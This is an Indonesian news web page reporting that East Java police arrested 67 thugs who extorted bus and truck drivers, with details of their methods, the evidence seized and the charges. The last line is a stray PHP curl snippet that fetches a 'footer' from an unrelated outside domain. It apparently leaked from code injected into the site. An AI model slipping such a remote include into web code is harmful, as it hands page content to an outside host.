TR Turun, 67 Preman Dirikgkus

Selasa, 15 Juni 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info | Surabaya – Direktorat Reserse Kriminal Umum (Ditreskrimum) Polda Jatim, bersama Polres jajaran meringkus aksi premanisme di wilayah Jawa Timur. Preman yang berhasil diringkus sebanyak 67 orang dari beberapa wilayah di jatim. Penindakan premanisme ini hasil ungkap Ditreskrimum polda jatim, Polresta Sidoarjo, Polres Gresik, Polres KPPP Tanjung Perak dan Polres Mojokerto.

Preman yang tertangkap dibawa ke Polda Jatim dan di rilisr pada Direktorat Reserse Kriminal Umum (Ditreskrimum) Polda Jatim, pada Senin (14/6/2021).

Baca Juga:  Polres Aceh Jaya Gelar Razia Rutin Untuk Cegah Gangguan Kamtibmas dan Pelanggaran Lalu Lintas

Kabid Humas Polda Jawa Timur Kombes Pol Gatot Repli Handoko saat rilis menyebutkan, sesuai dengan intruksi Kapolri Jendral Listyo Sigit Prabowo. Polda jawa timur bersama polres jajaran tengah meringkus 67 premanisme yang meresahkan masyarakat.

“Pengungkapan ini sesuai dengan intruksi bapak Kapolri, Jendral Listyo Sigit Prabowo. Bersama polres jajaran, Ditreskrimum polda jatim berhasil meringkus 67 preman,” kata Kabid Humas Polda Jatim, Kombes Pol Gatot Repli Handoko, Senin (14/6/2021).

Baca Juga:  "DPC PDIP Kabupaten Mojokerto Gelar Workshop Pengembangan Ekonomi Daerah"

Modus operandi yang dilakukan oleh puluhan preman ini, bahwa mereka melakukan pemalakan kepada sopir bus dan truk, menaikkan harga tiket hingga 400 persen dan melakukan pemerasan dengan cara kekerasan kepada sopir truk.

“Para preman ini biasa beraksi di pelabuhan, terminal bus dan pangkalan bus dan truk,” tambahnya.

Dari pengungkapan ini, barang bukti yang diamankan antara lain, uang tunai 9 juta lebih, tiga unit R4, satu unit R2, satu bandel kwitansi serta barang bukti yang lain.

Baca Juga:  Polda Jatim dan Polres Jajaran Serentak Ngaji Kitab Kuning

Sementara itu untu para pelaku akan dijerat dengan Pasal 49 Juncto pasal 17 Perda Jatim Nomor 2 tahun 2020 tentang perubahan atas perda jatim nomor 1 tahun 2019 tentang penyelenggaraan, ketertiban dan perlindungan masyarakat, dengan ancaman hukuman pidana 3 (tiga) bulan atau denda 50 juta.(Budi)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Wujudkan Segitiga Emas, Pj Gubernur Lampung Ingin Jadikan Pringsewu Sebagai Kotamadya
Kapolres Pringsewu Serukan Pilkada Damai Tanpa Diskriminasi
Ngaku Anggota DPRD Balam Pengunjung Tak Mau Bayar : Karoke De’Amore Eks Thanos Diduga Belum Memiliki Ijin Lengkap
Pj. Gubernur Lampung apresiasi Dr. Marindo yang peduli UMKM melalui dekrafe
Pemkab Tanggamus Luncurkan Inovasi Penerbitan Akte Perkawinan Kolaborasi Tokoh Agama
Lapor Pak Prabowo, Anggota DPRD Lamsel F-Gerindra Ini Kampanye Bagikan Migor Ilegal ke Masyarakat
RSUDAM Lampung Diduga Abaikan Anggaran Rp500 Juta untuk Pemeliharaan Lingkungan
Percepat Atasi Masalah Sampah, Pj.Bupati Pringsewu Temui Direktur Sanitasi PUPR
Tag :

Berita Terkait

Jumat, 4 Oktober 2024 - 22:38 WIB

Wujudkan Segitiga Emas, Pj Gubernur Lampung Ingin Jadikan Pringsewu Sebagai Kotamadya

Jumat, 4 Oktober 2024 - 19:31 WIB

Kapolres Pringsewu Serukan Pilkada Damai Tanpa Diskriminasi

Jumat, 4 Oktober 2024 - 06:58 WIB

Pj. Gubernur Lampung apresiasi Dr. Marindo yang peduli UMKM melalui dekrafe

Kamis, 3 Oktober 2024 - 10:22 WIB

Pemkab Tanggamus Luncurkan Inovasi Penerbitan Akte Perkawinan Kolaborasi Tokoh Agama

Kamis, 3 Oktober 2024 - 07:50 WIB

Lapor Pak Prabowo, Anggota DPRD Lamsel F-Gerindra Ini Kampanye Bagikan Migor Ilegal ke Masyarakat

Berita Terbaru

Berita Utama

Kapolres Pringsewu Serukan Pilkada Damai Tanpa Diskriminasi

Jumat, 4 Okt 2024 - 19:31 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>